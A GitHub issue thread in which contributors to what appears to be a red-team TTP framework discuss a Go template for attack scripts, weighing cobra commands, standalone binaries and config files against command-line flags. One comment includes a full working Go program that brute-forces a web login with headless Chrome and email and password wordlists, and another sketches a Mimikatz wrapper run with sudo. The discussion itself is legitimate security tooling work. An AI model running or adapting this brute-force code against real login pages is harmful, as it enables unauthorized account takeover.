Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

💡 [REQUEST] - Go TTP Template #79

Open
l50 opened this issue May 3, 2023 · 17 comments
Open

💡 [REQUEST] - Go TTP Template #79

l50 opened this issue May 3, 2023 · 17 comments
Assignees
Labels
enhancement New feature or request question Clarification and/or additional information required to move forward type/major

Comments

@l50
Copy link
Contributor

l50 commented May 3, 2023

Implementation PR

No response

Reference Issues

No response

Summary

Add templated go TTP generation.

Basic Example

Similar concept to #61, except for go TTPs:

go build

# Create go TTP
./ttpforge -c config.yaml new ttp \
  --path ttps/privilege-escalation/in-memory/mimikatz.yaml \
  --template go --ttp-type file --args "arg1,arg2,arg3" --cleanup \
  --env "EXAMPLE_ENV_VAR=example_value"

Drawbacks

None that I can think of.

Unresolved questions

  1. Do we want go TTPs to be cobra commands and provide an extension for the command line or drive them as a standalone entity (like what we do with bash)?
  2. Do we want to create any tests for the go TTP as part of the template creation or no?
@l50 l50 added question Clarification and/or additional information required to move forward enhancement New feature or request type/major DEF CON labels May 3, 2023
@l50 l50 self-assigned this May 3, 2023
@CrimsonK1ng
Copy link
Contributor

What does a full go template look like once it is finished? What are the steps to make it run? I am not sure I have a good picture in my head of this atm.

@l50
Copy link
Contributor Author

l50 commented May 3, 2023

Fair question @CrimsonK1ng! The dir structure will be the same regardless of whether we go the cobra or non-cobra route:

tree
.
├── ansible
│   └── rc_pt_target.run # ansible playbook in binary form - not sure if we want to do blob store for these or have them committed outright
├── config.yaml
├── go.mod
├── go.sum
└── mimikatz.go

If we go the non-cobra route, this is what I was noodling on for a filled out template (based on one of the Purple Canary TTPs):

package ttps

import (
   "errors"
   "fmt"
   "os"
   "regexp"
   "strings"

   goutils "github.com/l50/goutils"

   "github.com/facebookincubator/ttpforge/cmd"
   "github.com/facebookincubator/ttpforge/pkg/logging"
   "go.uber.org/zap"
)

func init() {
   rootCmd.AddCommand(cmd.RunTTPCmd())
}

// CheckRoot will check to see if the process is being run as root
// Modified from https://github.com/l50/goutils/blob/main/sysutils.go
func CheckRoot() error {
   uid := os.Geteuid()
   if uid != 0 {
   	err := errors.New("must be run as root, exiting")
   	logging.Logger.Sugar().Errorw(
   		err.Error(), zap.Error(err))
   }

   return nil
}

// GetCmdStr returns the input cmd as a string.
func GetCmdStr(cmd []string) string {
   cmdStr := strings.Trim(fmt.Sprint(cmd), "[]")
   return cmdStr
}

func Mimikatz() error {
   // log.Info("Running " + fmt.Sprintf("TTP %s: %s, please wait.", ttpInfo.ID, ttpInfo.Name))

   // Inputs from ttps.yaml
   // cmd := ttpInfo.Cmd
   // escalatePrivileges := ttpInfo.EscalatePrivileges
   // failureRegex := ttpInfo.ExtraParams["ttp_failure_regex"]

   // Local values
   var cmdOutput string
   var result string
   var err error
   re := regexp.MustCompile(failureRegex)

   if escalatePrivileges {
   	if err := CheckRoot(); err != nil {
   		logging.Logger.Sugar().Errorw(
   			err.Error(), zap.Error(err))
   		os.Exit(1)
   	}
   	cmd = append([]string{"sudo"}, cmd...)
   }

   cmdStr := GetCmdStr(cmd)
   // log.Debug(fmt.Sprintf("TTP #%s - Command to run: %v\n",
   // 	ttpInfo.ID, cmdStr))

   cmdOutput, err = goutils.RunCommand(cmd[0], cmd[1:]...)
   if err != nil {
   	logging.Logger.Sugar().Errorw(err, zap.Error(err))
   	return err
   }

   // log.Debug(fmt.Sprintf("TTP #%s - Command output: %s", ttpInfo.ID, cmdOutput))

   if re.MatchString(strings.TrimSpace(cmdOutput)) {
   	result = "TTP Failed to Run"
   } else {
   	result = "TTP Ran Successfully"
   }

   // utils.CheckTTPSuccess(result, ttpInfo.ID)

   return nil
}

If we went the cobra route, it would look something like this:

package cmd
import (
	"math/rand"
	"path/filepath"
	"strings"
	"sync"
	"time"
	"github.com/chromedp/chromedp"
	goutils "github.com/l50/goutils"
	"github.com/metaredteam/purple-ec/logging"
	"github.com/metaredteam/purple-ec/pkg/web"
	"github.com/metaredteam/purple-ec/pkg/web/chrome"
	"github.com/spf13/cobra"
)
// bruteForceLoginCmdFlags captures CLI input values.
type bruteForceLoginCmdFlags struct {
	headless         bool
	concurrency      int
	ignoreCertErrors bool
	emails           string
	passwords        string
	loginURL         string
}
var (
	bFLFlags bruteForceLoginCmdFlags
	// bruteForceLoginCmd represents the bruteForceLogin command
	bruteForceLoginCmd = &cobra.Command{
		Use:   "bruteForceLogin",
		Short: "Attempt a brute force attack using input email and password wordlists",
		Long: `This TTP has the following logic:
		1. Randomly shuffle both the input email and password wordlists.
		2. For each attempt, randomly select a user from the email wordlist and a password from the password wordlist.
		3. Try to log in using the selected email and password.
		4. Repeat steps 2-3 until the maximum number of attempts is reached (equal to the product of the lengths of the two wordlists).
	# Example 1
	TTP=bruteForceLogin
	go run main.go -l logs/$TTP.log $TTP \
        --emails 'resources/wordlists/email_addresses_10.txt' \
        --passwords 'resources/wordlists/passwords_10.txt' \
        --concurrency 8
	# Example 2
	go run main.go -l logs/$TTP.log $TTP \
	    --emails resources/wordlists/email_addresses_25.txt \
		--passwords resources/wordlists/passwords_25.txt \
		--concurrency 10
	`,
		Run: func(cmd *cobra.Command, args []string) {
			// Create rng based on current time
			rng := rand.New(rand.NewSource(time.Now().UnixNano()))
			logging.Logger.Sugar().Infof(
				"Executing %s - %s, please wait...",
				cmd.Use, cmd.Short)
			users, err := goutils.FileToSlice(bFLFlags.emails)
			if err != nil {
				logging.Logger.Sugar().Fatalf("failed to read users file: %v", err)
			}
			passwords, err := goutils.FileToSlice(bFLFlags.passwords)
			if err != nil {
				logging.Logger.Sugar().Fatalf("failed to read passwords file: %v", err)
			}
			// Shuffle users
			rng.Shuffle(len(users), func(i, j int) { users[i], users[j] = users[j], users[i] })
			// Shuffle passwords
			rng.Shuffle(len(passwords), func(i, j int) { passwords[i], passwords[j] = passwords[j], passwords[i] })
			maxAttempts := len(users) * len(passwords)
			// Create a channel for jobs and a channel for results
			jobs := make(chan web.Credential, maxAttempts)
			results := make(chan bool, maxAttempts)
			// Start worker goroutines
			wg := &sync.WaitGroup{}
			for w := 0; w < bFLFlags.concurrency; w++ {
				wg.Add(1)
				browser, err := chrome.Init(bFLFlags.headless, bFLFlags.ignoreCertErrors)
				if err != nil {
					logging.Logger.Sugar().Fatalf("failed to initialize a chrome browser: %v", err)
					continue
				}
				defer web.CancelAll(browser.Cancels)
				go attemptLogin(wg,
					browser.Driver,
					bFLFlags.loginURL,
					jobs,
					results)
			}
			// Send jobs to the channel
			for attempt := 0; attempt < maxAttempts; attempt++ {
				userIndex := rng.Intn(len(users))
				passwordIndex := rng.Intn(len(passwords))
				user := users[userIndex]
				password := passwords[passwordIndex]
				webCred := web.Credential{User: user, Password: password}
				jobs <- webCred
			}
			// Close the jobs channel and wait for all workers to finish
			close(jobs)
			wg.Wait()
			// Process the results
			successful := false
			for i := 0; i < maxAttempts; i++ {
				result := <-results
				if result {
					successful = true
					break
				}
			}
			if successful {
				logging.Logger.Sugar().Infof("Brute force attack succeeded")
			} else {
				logging.Logger.Sugar().Infof("Exhausted brute force attempts")
			}
		},
	}
)
func init() {
	rootCmd.AddCommand(bruteForceLoginCmd)
	bruteForceLoginCmd.Flags().IntVar(&bFLFlags.concurrency,
		"concurrency", 5,
		"Number of concurrent attempts to run during brute force.")
	bruteForceLoginCmd.Flags().BoolVar(&bFLFlags.ignoreCertErrors,
		"ignoreCertErrors", true, "Ignore certificate errors.")
	bruteForceLoginCmd.Flags().BoolVar(&bFLFlags.headless,
		"headless", true, "Run browser in headless mode.")
	bruteForceLoginCmd.Flags().StringVarP(&bFLFlags.emails,
		"emails", "e", "resources/wordlists/email_addresses_25.txt",
		"Wordlist of emails to employ for brute forcing.")
	bruteForceLoginCmd.Flags().StringVarP(&bFLFlags.passwords,
		"passwords", "p",
		filepath.Join("resources", "wordlists", "passwords_25.txt"),
		"Wordlist of passwords to employ for brute forcing.")
	bruteForceLoginCmd.Flags().StringVar(&bFLFlags.loginURL,
		"loginURL", "https://auth.metaenterprise.com/login",
		"URL to initiate login process for an Enterprise Center account.")
}
func attemptLogin(wg *sync.WaitGroup, driver interface{}, loginURL string, jobs <-chan web.Credential, results chan<- bool) {
	// XPath for chromeDP
	userXPath := "/html/body/div/div/div/div/div/div/div/div/div[1]/div[4]/div/div/div[2]/div/div[2]/div/div/div/div[1]/div[2]/div/div/input"
	showPWButtonXPath := "/html/body/div/div/div/div/div/div/div/div/div[1]/div[4]/div/div/div[3]/div/span/div/div/div"
	passXPath := "/html/body/div/div/div/div/div/div/div/div/div[1]/div[4]/div/div/div[3]/div/div[2]/div/div/div/div[1]/div[2]/div[1]/div/input"
	loginButtonXPath := "/html/body/div/div/div/div/div/div/div/div/div[1]/div[4]/div/div/div[4]/div/span/div/div/div"
	defer wg.Done()
	chromeDriver, ok := driver.(*chrome.Driver)
	if !ok {
		logging.Logger.Sugar().Errorf("failed to assert driver as *chrome.Driver")
		return
	}
	for webCred := range jobs {
		site := web.Site{
			LoginURL: loginURL,
			Session: web.Session{
				Credential: webCred,
				Driver:     chromeDriver,
			},
		}
		inputActions := []chrome.InputAction{
			{Action: chromedp.Navigate(site.LoginURL)},
			{Selector: userXPath, Action: chromedp.SendKeys(userXPath, site.Session.Credential.User)},
			{Selector: showPWButtonXPath, Action: chromedp.Click(showPWButtonXPath)},
			{Selector: passXPath, Action: chromedp.SendKeys(passXPath, site.Session.Credential.Password)},
			{Selector: loginButtonXPath, Action: chromedp.Click(loginButtonXPath)},
		}
		// Create random wait between 2 and 6 seconds
		minWait := 2 * time.Second
		maxWait := 6 * time.Second
		randomWaitTime := web.GetRandomWait(minWait, maxWait)
		if err := chrome.Navigate(site, inputActions, randomWaitTime); err == nil {
			pageSource, err := chrome.GetPageSource(site)
			failMsg := "The email and password combination you entered is incorrect."
			loginMsg := "Your apps"
			if err == nil && !strings.Contains(pageSource, failMsg) && strings.Contains(pageSource, loginMsg) {
				logging.Logger.Sugar().Infof("Successfully logged in with user: %s", webCred.User)
				results <- true
				return
			}
		}
		logging.Logger.Sugar().Infof("failed login attempt with user: %s", site.Session.Credential.User)
		results <- false
	}
}

Going the cobra route solves the problem of handling inputs for the TTP and integrates it nicely with TTPForge, but it also can pollute the TTPForge submenu options over time.

@CrimsonK1ng
Copy link
Contributor

I don't know if the format you have listed will work. The go.mod/go.sum under the root folder that also contains a go.mod/go.sum will cause an error with golang and it will refuse to build.

Were you wanting these to be apart of the ttpforge binary when it is built?

Is the templating going to generate each of these files based off of a base file or dynamically with args?

@l50
Copy link
Contributor Author

l50 commented May 4, 2023

I don't know if the format you have listed will work. The go.mod/go.sum under the root folder that also contains a go.mod/go.sum will cause an error with golang and it will refuse to build.

I was worried about that, good call out.

Were you wanting these to be apart of the ttpforge binary when it is built?

That's what I wanted to check with you all about. I think it could be a good idea with the route we're currently going (all ttps bundled with engine - similar to metasploit).

Is the templating going to generate each of these files based off of a base file or dynamically with args?

It'll use a base template and then take args to dynamically generate parts of the template, similar to what we have for the bash template

@CrimsonK1ng
Copy link
Contributor

I did not expect the go ttps to be embedded in the tool itself. Since it requires recompiling after template generation which adds some overhead for users.

My assumption was the ttps would be a separate binary which the yaml file would invoke.

What do you think @d3sch41n

@d3sch41n
Copy link
Contributor

d3sch41n commented May 5, 2023

Agree with Alek - using standalone binaries that are executed by ttpforge like any other binary written in a non-go language (and embedded) is the scalable solution.

@d3sch41n d3sch41n closed this as completed May 5, 2023
@d3sch41n d3sch41n reopened this May 5, 2023
@d3sch41n
Copy link
Contributor

d3sch41n commented May 5, 2023

fat finger >.<

@l50
Copy link
Contributor Author

l50 commented May 5, 2023

@d3sch41n @CrimsonK1ng From our call, we came up with this example to provide arguments to the TTP:

---
name: Test Variable Expansion
description: |
  Tests environment + step output variable expansion
  Produces a result.txt file that is intentionally not
  cleaned up so that it can be asserted against
steps:
  - name: test_step_output_in_arg_list
    file: write-to-result.sh
    args:
      - --this-is-a-cobra-flag="this is the value of that flag"
      - --this-is-another-cobra-flag
      - "a positional arg"

Example directory structure:

ttps
├── lateral-movement
│   └── ssh
│       ├── README.md
│       ├── rogue-ssh-key.yaml
│       └── ssh-master-mode.yaml
└── privilege-escalation
    └── credential-theft
        ├── hello-world
        │   ├── hello-world.sh
        │   ├── ttp-inline.yaml
        │   └── ttp.yaml
        └── mimikatz
            ├── ansible
            │   └── rc_pt_target.run
            ├── config.yaml
            ├── go.mod
            ├── go.sum
            └── mimikatz.go

This would be called like so:

ttpforge -c config.yaml run privilege-escalation/credential-theft/mimikatz/mimikatz  --args "--this-is-a-cobra-flag="this is the value of that flag" "--this-is-another-cobra-flag="the value"

@CrimsonK1ng
Copy link
Contributor

Minus the last part, that all tracks.

The last part is what I am having to work on right now, providing the args in the cli. Most likely that is how it will end up unless there is another way desired.

@l50
Copy link
Contributor Author

l50 commented May 5, 2023

Excellent! I'll hold off on the args component while you're working on that piece, but otherwise get working on making this happen!

@d3sch41n
Copy link
Contributor

d3sch41n commented May 5, 2023

Note: you'll want part of your template to be a stub ttpforge yaml that just calls your binary - you'll pass that yaml path to run the TTP

name: yolo
steps:
  - name: wut
     file: swag

@l50
Copy link
Contributor Author

l50 commented May 5, 2023

Note: you'll want part of your template to be a stub ttpforge yaml that just calls your binary - you'll pass that yaml path to run the TTP

name: yolo
steps:
  - name: wut
     file: swag

100% - my thoughts exactly

@d3sch41n
Copy link
Contributor

d3sch41n commented May 5, 2023

@CrimsonK1ng @l50 I noticed there's a config.yaml in the golang TTP example proposed here - I'm assuming that 's intended to be used in the "classic" sense that we used to use it for ttp-runner (let me know if I'm wrong in that assumption, in which case the whole post below can be ignored) - if so, I'd like to propose formally deprecating that ttp-runner config.yaml usage style in favor of exclusively using cobra runtime command-line flags/args (my-ttp --my-option=my-value positional-arg), for these reasons:

  1. Config files are hidden state that lead to non-determinism. If you run the command ttpforge run my/ttp.yaml it should do the same thing every time, but with the config file its behavior may change arbitrarily even though the command is identical - if we encourage folks to pass TTP options through the config, folks will edit it, forget they edited, and then wonder why their TTP is behaving strangely

  2. Related to above - it's much clearer to be able look through your bash history and see all the different ways you've used a TTP (ttpforge run my/ttp.yaml --some-option=value and ttpforge run my/ttp.yaml --some-other-option=wut) instead of just seeing many instances of the same exact command with all the differences hidden within the particular version of the config file used at the time. It's also much easier to share instructions with others ("run ttpforge run my/ttp.yaml --some-option=value instead of "edit your config file and then run...")

  3. Config files won't be editable for embedded TTPs, so you'll always need flags to control those.

Config files have a place, but they're pretty much exclusively useful for controlling settings that must persist through process/system restarts - stuff like webservers, systemd services, etc. They don't fit the use case of imperative TTP execution. For TTPs that are designed to be invoked, run for a bit, and then exit, we should make our default template push TTP authors toward using flags and positional args rather than config files.

What are y'alls thoughts?

@d3sch41n
Copy link
Contributor

d3sch41n commented May 5, 2023

(forgot to clarify) - configs work well for options that are expected to persist across many, many runs of the same executable and that are annoying for user to pass in the CLI every time - so our usage of the top-level ttpforge config to control inventoryPath is good, but using them to specify runtime options for individual TTPs themselves is suboptimal for the reasons above

@l50
Copy link
Contributor Author

l50 commented May 5, 2023

@CrimsonK1ng @l50 I noticed there's a config.yaml in the golang TTP example proposed here - I'm assuming that 's intended to be used in the "classic" sense that we used to use it for ttp-runner (let me know if I'm wrong in that assumption, in which case the whole post below can be ignored)

I had it in the event that we wanted to go the cobra + viper route. I can omit the config or we can have it as part of the TTP (viper can be useful even if we're integrating directly with the TTPForge cobra stuff) - I didn't want to make the TTPForge config massive, so I figured we'd leave TTP logic out of it.

I'll hold off on adding any config files to the go TTP template for now since we're working on updating the concept of args.

@l50 l50 removed the DEF CON label May 6, 2023
@CrimsonK1ng
Copy link
Contributor

@CrimsonK1ng @l50 I noticed there's a config.yaml in the golang TTP example proposed here - I'm assuming that 's intended to be used in the "classic" sense that we used to use it for ttp-runner (let me know if I'm wrong in that assumption, in which case the whole post below can be ignored) - if so, I'd like to propose formally deprecating that ttp-runner config.yaml usage style in favor of exclusively using cobra runtime command-line flags/args (my-ttp --my-option=my-value positional-arg), for these reasons:

  1. Config files are hidden state that lead to non-determinism. If you run the command ttpforge run my/ttp.yaml it should do the same thing every time, but with the config file its behavior may change arbitrarily even though the command is identical - if we encourage folks to pass TTP options through the config, folks will edit it, forget they edited, and then wonder why their TTP is behaving strangely
  2. Related to above - it's much clearer to be able look through your bash history and see all the different ways you've used a TTP (ttpforge run my/ttp.yaml --some-option=value and ttpforge run my/ttp.yaml --some-other-option=wut) instead of just seeing many instances of the same exact command with all the differences hidden within the particular version of the config file used at the time. It's also much easier to share instructions with others ("run ttpforge run my/ttp.yaml --some-option=value instead of "edit your config file and then run...")
  3. Config files won't be editable for embedded TTPs, so you'll always need flags to control those.

Config files have a place, but they're pretty much exclusively useful for controlling settings that must persist through process/system restarts - stuff like webservers, systemd services, etc. They don't fit the use case of imperative TTP execution. For TTPs that are designed to be invoked, run for a bit, and then exit, we should make our default template push TTP authors toward using flags and positional args rather than config files.

What are y'alls thoughts?

I am personally of the opinion that any templates should just be simple base examples which get moved into the proper location. Geoff had at one point given feedback that even with all the extra information the only thing that was useful to get started was the barest example of a function that executes. With that in mind I don't think any generative template would be necessary since all we need is the base example. Then anyone who doesn't know go can ignore it, and anyone who does know go can make changes. We can avoid struggles with template generation and get something simple for users.

@memad-oneidentity
Copy link

Hello,

is there any way to encrypt the parsed password using chromedp.sendkeys?

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
enhancement New feature or request question Clarification and/or additional information required to move forward type/major
Projects
None yet
Development

No branches or pull requests

4 participants